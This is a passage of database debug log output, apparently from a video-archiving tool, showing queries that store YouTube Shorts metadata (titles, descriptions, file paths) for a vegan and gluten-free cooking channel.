"duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Breakfast is my favorite meal of the day and when I decided to go vegan and gluten free it became the hardest meal to make. After years of recipe testing and trying out different vegan and gluten free recipes, I've replicated some of my favorite meals and made them even better. If you've had to make some adjustments to your diet like going nut free, dairy free, gluten free, lower cholesterol or go vegan then I've got you covered so you can enjoy your best meals of the day.\n\nSubscribe for more daily content and weekly recipe videos! Thanks for your support! Janelle", "Level Up Your Breakfast Game", "cb9089fe-6a93-4a3a-bf3f-bb02fc96c736", 1, [], 14, false, "-XsWZGBk8q8", "https://www.youtube.com/shorts/-XsWZGBk8q8", 343, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Level Up Your Breakfast Game/Level Up Your Breakfast Game [-XsWZGBk8q8].NA", false, false, true, 3, ~U[2022-06-30 00:00:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Breakfast is my favorite meal of the day and when I decided to go vegan and gluten free it became the hardest meal to make. After years of recipe testing and trying out different vegan and gluten free recipes, I've replicated some of my favorite meals and made them even better. If you've had to make some adjustments to your diet like going nut free, dairy free, gluten free, lower cholesterol or go vegan then I've got you covered so you can enjoy your best meals of the day.\n\nSubscribe for more daily content and weekly recipe videos! Thanks for your support! Janelle", "Level Up Your Breakfast Game", 1, 14, false, "-XsWZGBk8q8", "https://www.youtube.com/shorts/-XsWZGBk8q8", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Level Up Your Breakfast Game/Level Up Your Breakfast Game [-XsWZGBk8q8].NA", true, ~U[2022-06-30 00:00:00Z]] 20:31:10.606 [debug] QUERY OK source="sources" db=1.7ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.609 [debug] QUERY OK source="media_items" db=2.6ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 21:15:01Z], 1] 20:31:10.610 [debug] QUERY OK source="media_items" db=0.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These gluten free and vegan overnight oats recipes are so good you won't be able to stop drooling. They're easy to make and place in your fridge overnight for the next morning and so refreshing for those warm summer mornings.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ", "Overnight Oats = Magic While You Sleep", "1e189114-fe7d-4a93-a3d1-490be5de2b7c", 1, [], 10, false, "vNi5M5J3c4I", "https://www.youtube.com/shorts/vNi5M5J3c4I", 344, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Overnight Oats = Magic While You Sleep/Overnight Oats = Magic While You Sleep [vNi5M5J3c4I].NA", false, false, true, 4, ~U[2022-06-29 21:15:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These gluten free and vegan overnight oats recipes are so good you won't be able to stop drooling. They're easy to make and place in your fridge overnight for the next morning and so refreshing for those warm summer mornings.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ", "Overnight Oats = Magic While You Sleep", 1, 10, false, "vNi5M5J3c4I", "https://www.youtube.com/shorts/vNi5M5J3c4I", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Overnight Oats = Magic While You Sleep/Overnight Oats = Magic While You Sleep [vNi5M5J3c4I].NA", true, ~U[2022-06-29 21:15:01Z]] 20:31:10.611 [debug] QUERY OK source="sources" db=0.8ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.614 [debug] QUERY OK source="media_items" db=1.9ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 14:00:26Z], 1] 20:31:10.615 [debug] QUERY OK source="media_items" db=0.8ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I can never eat chow Mein at chinese restaurants because I eat gluten free and vegan. Well, I'm not gonna let that stop me! I made this vegan and gluten free chow Mein recipe and it's far healthier and way more delicious then what you'd ever find in any chinese food restaurant.\n\nI used gluten free brown rice ramen noodles to make these gluten free.\n\nLet me know if you'd be interested in seeing a full length recipe video on this.\n\nDon't forget to subscribe for more vegan and gluten free recipes! Ja", "Vegan GF Tofu Chow Mein", "49f896e1-6603-4812-bc6d-0ed397c92abb", 1, [], 14, false, "_O9zWNUd2iE", "https://www.youtube.com/shorts/_O9zWNUd2iE", 345, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Vegan GF Tofu Chow Mein/Vegan GF Tofu Chow Mein [_O9zWNUd2iE].NA", false, false, true, 4, ~U[2022-06-29 14:00:26Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I can never eat chow Mein at chinese restaurants because I eat gluten free and vegan. Well, I'm not gonna let that stop me! I made this vegan and gluten free chow Mein recipe and it's far healthier and way more delicious then what you'd ever find in any chinese food restaurant.\n\nI used gluten free brown rice ramen noodles to make these gluten free.\n\nLet me know if you'd be interested in seeing a full length recipe video on this.\n\nDon't forget to subscribe for more vegan and gluten free recipes! Ja", "Vegan GF Tofu Chow Mein", 1, 14, false, "_O9zWNUd2iE", "https://www.youtube.com/shorts/_O9zWNUd2iE", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Vegan GF Tofu Chow Mein/Vegan GF Tofu Chow Mein [_O9zWNUd2iE].NA", true, ~U[2022-06-29 14:00:26Z]] 20:31:10.616 [debug] QUERY OK source="sources" db=1.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.619 [debug] QUERY OK source="media_items" db=1.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 00:50:33Z], 1] 20:31:10.621 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food is far more powerful then people think. It boosts our moods, transforms how your body feels, and builds relationships. I love eating vegan and gluten free because it beyond satisfies all these areas for me.\n\nSubscribe for daily content about eating vegan and gluten free. Thanks for your support! Janelle", "Food Brings People Together", "6628f119-76e6-4c1b-b8c3-472a63125bb4", 1, [], 13, false, "J-7_2_mDm2w", "https://www.youtube.com/shorts/J-7_2_mDm2w", 346, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Food Brings People Together/Food Brings People Together [J-7_2_mDm2w].NA", false, false, true, 4, ~U[2022-06-29 00:50:33Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Food is far more powerful then people think. It boosts our moods, transforms how your body feels, and builds relationships. I love eating vegan and gluten free because it beyond satisfies all these areas for me.\n\nSubscribe for daily content about eating vegan and gluten free. Thanks for your support! Janelle", "Food Brings People Together", 1, 13, false, "J-7_2_mDm2w", "https://www.youtube.com/shorts/J-7_2_mDm2w", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Food Brings People Together/Food Brings People Together [J-7_2_mDm2w].NA", true, ~U[2022-06-29 00:50:33Z]] 20:31:10.622 [debug] QUERY OK source="sources" db=0.4ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.624 [debug] QUERY OK source="media_items" db=1.8ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-28 18:30:29Z], 1] 20:31:10.625 [debug] QUERY OK source="media_items" db=0.7ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've spent the last few weeks adjusting my brownie recipe and I've cracked the perfect brownie code! I made these vegan, gluten free, oil free, soy free and nut free. You're absolutely going to love this brownie recipe and they're packed with protein.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe to my channel for more vegan and gluten free recipes. I have an amazing overnight oats recipe dropping later this week that you won't wanna miss. These overnight oats are so easy to make, perfect for the warmer summer months, and as always made gluten free and vegan.\n\nThanks for all your support! Janelle", "The Perfect Brownies", "3e4ffece-8179-4db7-9fdc-6af652b469a5", 1, [], 14, false, "ZE8CWCaRmDo", "https://www.youtube.com/shorts/ZE8CWCaRmDo", 347, "/downloads/downloads/alec/Steamy Vegan/2022-06-28 The Perfect Brownies/The Perfect Brownies [ZE8CWCaRmDo].NA", false, false, true, 2, ~U[2022-06-28 18:30:29Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I've spent the last few weeks adjusting my brownie recipe and I've cracked the perfect brownie code! I made these vegan, gluten free, oil free, soy free and nut free. You're absolutely going to love this brownie recipe and they're packed with protein.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe to my channel for more vegan and gluten free recipes. I have an amazing overnight oats recipe dropping later this week that you won't wanna miss. These overnight oats are so easy to make, perfect for the warmer summer months, and as always made gluten free and vegan.\n\nThanks for all your support! Janelle", "The Perfect Brownies", 1, 14, false, "ZE8CWCaRmDo", "https://www.youtube.com/shorts/ZE8CWCaRmDo", "/downloads/downloads/alec/Steamy Vegan/2022-06-28 The Perfect Brownies/The Perfect Brownies [ZE8CWCaRmDo].NA", true, ~U[2022-06-28 18:30:29Z]] 20:31:10.626 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.629 [debug] QUERY OK source="media_items" db=2.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-28 15:00:04Z], 1] 20:31:10.632 [debug] QUERY OK source="media_items" db=1.2ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["No matter what diet you're on, breakfast should always be delicious, healthy and fun. I've made these 3 dishes vegan and gluten free on my channel. \n\nWhich one are you craving the most for breakfast tomorrow?\n\nI have the 'Pina Colada Overnight Oats' recipe going up later this week so make sure to subscribe so you don't miss out on that one. Both the banana blender pancakes and the quinoa bowl are live on the channel now!!! Thanks for your support!\nJanelle", "Which breakfast dish wins your heart? ❤️ 🤤", "eb9a5e6a-e9b4-4337-bd5a-5ece567d4071", 1, [], 11, false, "66nkvdvOmpk", "https://www.youtube.com/shorts/66nkvdvOmpk", 348, "/downloads/downloads/alec/Steamy Vegan/2022-06-28 Which breakfast dish wins your heart? ❤️ 🤤/Which breakfast dish wins your heart? ❤️ 🤤 [66nkvdvOmpk].NA", false, false, true, 2, ~U[2022-06-28 15:00:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "No matter what diet you're on, breakfast should always be delicious, healthy and fun. I've made these 3 dishes vegan and gluten free on my channel. \n\nWhich one are you craving the most for breakfast tomorrow?\n\nI have the 'Pina Colada Overnight Oats' recipe going up later this week so make sure to subscribe so you don't miss out on that one. Both the banana blender pancakes and the quinoa bowl are live on the channel now!!! Thanks for your support!\nJanelle", "Which breakfast dish wins your heart? ❤️ 🤤", 1, 11, false, "66nkvdvOmpk", "https://www.youtube.com/shorts/66nkvdvOmpk", "/downloads/downloads/alec/Steamy Vegan/2022-06-28 Which breakfast dish wins your heart? ❤️ 🤤/Which breakfast dish wins your heart? ❤️ 🤤 [66nkvdvOmpk].NA", true, ~U[2022-06-28 15:00:04Z]] 20:31:10.633 [debug] QUERY OK source="sources" db=0.5ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.636 [debug] QUERY OK source="media_items" db=2.7ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-27 14:00:04Z], 1] 20:31:10.637 [debug] QUERY OK source="media_items" db=0.8ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Summer is here and so are my new overnight oats recipes! 🍓 🍋 🥭 🥥 \n\nCold soaked oats are PERFECT 😍 for warm summer mornings and on-the-go breakies! STAY TUNED FOR THE RECIPES DROPPING THIS WEEK! 👇🏻 \n\nWhat’s your favourite overnight oats recipe? ☺️", "Overnight oats are the PERFECT summer breakfast ☀️", "3c25869b-d0ef-449d-a6b8-5f626fa2a50a", 1, [], 12, false, "7MV38U4fmO0", "https://www.youtube.com/shorts/7MV38U4fmO0", 349, "/downloads/downloads/alec/Steamy Vegan/2022-06-27 Overnight oats are the PERFECT summer breakfast ☀️/Overnight oats are the PERFECT summer breakfast ☀️ [7MV38U4fmO0].NA", false, false, true, 2, ~U[2022-06-27 14:00:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Summer is here and so are my new overnight oats recipes! 🍓 🍋 🥭 🥥 \n\nCold soaked oats are PERFECT 😍 for warm summer mornings and on-the-go breakies! STAY TUNED FOR THE RECIPES DROPPING THIS WEEK! 👇🏻 \n\nWhat’s your favourite overnight oats recipe? ☺️", "Overnight oats are the PERFECT summer breakfast ☀️", 1, 12, false, "7MV38U4fmO0", "https://www.youtube.com/shorts/7MV38U4fmO0", "/downloads/downloads/alec/Steamy Vegan/2022-06-27 Overnight oats are the PERFECT summer breakfast ☀️/Overnight oats are the PERFECT summer breakfast ☀️ [7MV38U4fmO0].NA", true, ~U[2022-06-27 14:00:04Z]] 20:31:10.639 [debug] QUERY OK source="sources" db=1.2ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.641 [debug] QUERY OK source="media_items" db=2.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-27 00:00:03Z], 1] 20:31:10.644 [debug] QUERY OK source="media_items" db=1.2ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Word on the street 👀 is these are the BEST vegan protein brownies! 12 grams of protein per brownie plus they're gluten, nut and oil-free! Plus, they're pretty high on the fudgey factor 🤤\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nFULL RECIPE VIDEO ON MY CHANNEL ➡️ https://youtu.be/CaX3rd60OUk\nFULL RECIPE BLOG ON MY WEBSITE ➡️ https://steamyvegankitchen.com/protein-brownies/\n\nSUBSCRIBE to @steamyvegan for more yummy vegan recipes! \n\n\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "How to make the best vegan protein brownies 💪🏻 🍫", "df75f167-f783-4a93-9503-54d53d63c978", 1, [], 60, false, "AZHbALm6b9E", "https://www.youtube.com/shorts/AZHbALm6b9E", 350, "/downloads/downloads/alec/Steamy Vegan/2022-06-27 How to make the best vegan protein brownies 💪🏻 🍫/How to make the best vegan protein brownies 💪🏻 🍫 [AZHbALm6b9E].NA", false, false, true, 2, ~U[2022-06-27 00:00:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Word on the street 👀 is these are the BEST vegan protein brownies! 12 grams of protein per brownie plus they're gluten, nut and oil-free! Plus, they're pretty high on the fudgey factor 🤤\n\nGOOD PROTEIN: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\nFULL RECIPE VIDEO ON MY CHANNEL ➡️ https://youtu.be/CaX3rd60OUk\nFULL RECIPE BLOG ON MY WEBSITE ➡️ https://steamyvegankitchen.com/protein-brownies/\n\nSUBSCRIBE to @steamyvegan for more yummy vegan recipes! \n\n\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8", "How to make the best vegan protein brownies 💪🏻 🍫", 1, 60, false, "AZHbALm6b9E", "https://www.youtube.com/shorts/AZHbALm6b9E", "/downloads/downloads/alec/Steamy Vegan/2022-06-27 How to make the best vegan protein brownies 💪🏻 🍫/How to make the best vegan protein brownies 💪🏻 🍫 [AZHbALm6b9E].NA", true, ~U[2022-06-27 00:00:03Z]] 20:31:10.645 [debug] QUERY OK source="sources" db=0.7ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.647 [debug] QUERY OK source="media_items" db=2.1ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-26 00:34:02Z], 1] 20:31:10.649 [debug] QUERY OK source="media_items" db=1.4ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I have food tested these for the past 2 weeks trying to create the perfect brownie recipe and I've done it!!! These were so delicious, the perfect chewyness, and packed full of protein. You've gotta try making these vegan and gluten free brownies for yourself below:\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content and weekly vegan and gluten free recipe videos! Thanks for all your support! Janelle", "These Brownies Always Get Me Drooling", "529bb1f5-f318-4efc-8dbe-d200e6c67649", 1, [], 14, false, "zmZnqJ_mZKE", "https://www.youtube.com/shorts/zmZnqJ_mZKE", 351, "/downloads/downloads/alec/Steamy Vegan/2022-06-26 These Brownies Always Get Me Drooling/These Brownies Always Get Me Drooling [zmZnqJ_mZKE].NA", false, false, true, 1, ~U[2022-06-26 00:34:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I have food tested these for the past 2 weeks trying to create the perfect brownie recipe and I've done it!!! These were so delicious, the perfect chewyness, and packed full of protein. You've gotta try making these vegan and gluten free brownies for yourself below:\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content and weekly vegan and gluten free recipe videos! Thanks for all your support! Janelle", "These Brownies Always Get Me Drooling", 1, 14, false, "zmZnqJ_mZKE", "https://www.youtube.com/shorts/zmZnqJ_mZKE", "/downloads/downloads/alec/Steamy Vegan/2022-06-26 These Brownies Always Get Me Drooling/These Brownies Always Get Me Drooling [zmZnqJ_mZKE].NA", true, ~U[2022-06-26 00:34:02Z]] 20:31:10.650 [debug] QUERY OK source="sources" db=0.4ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.652 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-25 15:56:03Z], 1] 20:31:10.654 [debug] QUERY OK source="media_items" db=0.8ms idle=7.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan and Gluten Free Has Never Been More Delicious!", "7c0c174c-5f91-4341-b489-832d06f9095b", 1, [], 11, false, "_WmXCbSqFJA", "https://www.youtube.com/shorts/_WmXCbSqFJA", 352, "/downloads/downloads/alec/Steamy Vegan/2022-06-25 Vegan and Gluten Free Has Never Been More Delicious!/Vegan and Gluten Free Has Never Been More Delicious! [_WmXCbSqFJA].NA", false, false, true, 2, ~U[2022-06-25 15:56:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "Vegan and Gluten Free Has Never Been More Delicious!", 1, 11, false, "_WmXCbSqFJA", "https://www.youtube.com/shorts/_WmXCbSqFJA", "/downloads/downloads/alec/Steamy Vegan/2022-06-25 Vegan and Gluten Free Has Never Been More Delicious!/Vegan and Gluten Free Has Never Been More Delicious! [_WmXCbSqFJA].NA", true, ~U[2022-06-25 15:56:03Z]] 20:31:10.654 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 